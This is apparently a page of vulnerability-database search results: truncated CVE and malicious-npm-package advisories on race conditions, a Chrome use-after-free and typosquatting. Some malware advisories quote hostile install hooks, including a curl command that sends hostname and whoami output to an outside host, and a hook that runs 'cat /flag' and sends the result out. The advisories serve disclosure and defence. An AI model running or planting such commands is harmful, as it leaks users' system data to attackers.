33874 matches found
CVE-2025-15546 Iptanus File Upload < 5.1.7 - File Overwrite via Race Condition
The Iptanus File Upload WordPress plugin before 5.1.7 does not implement proper file handling when the duplicatepolicy setting is configured to "maintain both." Due to a Time-of-Check to Time-of-Use TOCTOU race condition between the file existence check and the actual file write operation, an...
CVE-2025-15546 Iptanus File Upload < 5.1.7 - File Overwrite via Race Condition
The Iptanus File Upload WordPress plugin before 5.1.7 does not implement proper file handling when the duplicatepolicy setting is configured to "maintain both." Due to a Time-of-Check to Time-of-Use TOCTOU race condition between the file existence check and the actual file write operation, an...
PT-2026-56640
Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 150.0.7871.115 Description A use after free issue exists in WebRTC, which occurs when a program continues to use a pointer after it has been freed, potentially leading to memory corruption. This flaw allows a...
Obliv-Clang: Real-World Oblivious Programming in C++
Side-channel vulnerabilities, particularly timing and access-pattern-based attacks, have become critical issues for confidential data processing in trusted environments. Oblivious programming is an effective approach to alleviate these attacks by making program execution not leak any secret throu...
Malicious code in @giftyhq/widget-components (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ad3f12a6a12fbfa60e4a72747df6974f89906200568926b99a8c93c489b5e62 package.json declares "preinstall": "node index.js", which fires automatically on npm install. index.js collects host fingerprinting data —...
Exploit for CVE-2026-42647
CVE-2026-42647 - JoomSport Unauthenticated Time-Based Blind SQ...
Malicious code in easy-time666 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57bc31746af3bff6006bfe2da34cd0fb223a4bd9e867abddd172be5018821c22 package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$hostname&u=&whoami over plain HTTP on every npm install, leaki...
MAL-2026-5749 Malicious code in easy-time666 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57bc31746af3bff6006bfe2da34cd0fb223a4bd9e867abddd172be5018821c22 package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$hostname&u=&whoami over plain HTTP on every npm install, leaki...
Malicious code in postcss-minify-selector-parser (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 957f5cbb74f4dd4b4770e8c9cc1a8aac88a4450cb01dbc0fa5242c42e343f54c The package name impersonates the widely-used postcss-selector-parser library which it also declares as a dependency and re-exports verbatim from...
Malicious code in postinstall-logger-7x9z (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e89b603ffc718873a9d4c42167bf0c667c995cc2547bc9b99373ad4e9f0ca1e On install, package.json's postinstall hook "postinstall": "node run.js" triggers execution of bundled beacon scripts beacon15.js and beaconlinux.js...
MAL-2026-5738 Malicious code in postinstall-logger-7x9z (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e89b603ffc718873a9d4c42167bf0c667c995cc2547bc9b99373ad4e9f0ca1e On install, package.json's postinstall hook "postinstall": "node run.js" triggers execution of bundled beacon scripts beacon15.js and beaconlinux.js...
CVE-2026-54229
creationtimestamp| type| source ---|---|--- 2026-06-13 05:42:50+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mo5kc74kqz22 2026-06-13 06:57:47+00:00| seen| https://bsky.app/profile/postac001.bsky.social/post/3mo5oi7fhpd2b...
CVE-2026-54228
creationtimestamp| type| source ---|---|--- 2026-06-13 04:04:22+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mo5ekrdf372d 2026-06-13 06:56:18+00:00| seen| https://bsky.app/profile/postac001.bsky.social/post/3mo5ofk7ow52m...
vader-toctou
OPERATION VADER — TOCTOU EXPLOITATION SYLLABUS OPERATIONS...
Malicious code in ecto_module (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7e66c690abd94ee498cd359eb076451c0f6ea3956d8221616bbf8990d35a38c5 On npm install, the package's preinstall hook node index.js reads /flag.txt falling back to execSync'cat /flag' and transmits the captured contents i...
MAL-2026-5727 Malicious code in vite-config-optimizer (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f824c077d7d2705d17dc29eba9a24ea8b51b93785bcf83fdfe639fc8f9bc581f package.json declares a postinstall hook node -e "require'./loader.js'" that auto-executes on every npm install. loader.js spawns a detached child No...
CVE-2026-54055
A flaw was found in Kitty, a cross-platform GPU-based terminal. A local attacker, specifically a child process running within the terminal, can exploit a Time-of-Check-Time-of-Use TOCTOU race condition in the file transmission protocol. This allows the attacker to create a symbolic link between a...
EUVD-2026-36637
A time-of-check time-of-use TOCTOU race condition was found in the abrt-dbus D-Bus service's SetElement method. Between dump directory creation and post-create event execution, any local user can call SetElement to write arbitrary text files into the root-owned dump directory, bypassing package...
CVE-2026-54228
A time-of-check time-of-use TOCTOU race condition was found in the abrt-dbus D-Bus service's SetElement method. Between dump directory creation and post-create event execution, any local user can call SetElement to write arbitrary text files into the root-owned dump directory, bypassing package...
CVE-2025-14098
creationtimestamp| type| source ---|---|--- 2026-06-13 02:06:07+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mo566o73zl23 2026-06-13 02:45:56+00:00| seen| https://bsky.app/profile/postac001.bsky.social/post/3mo5acwhxxu2b...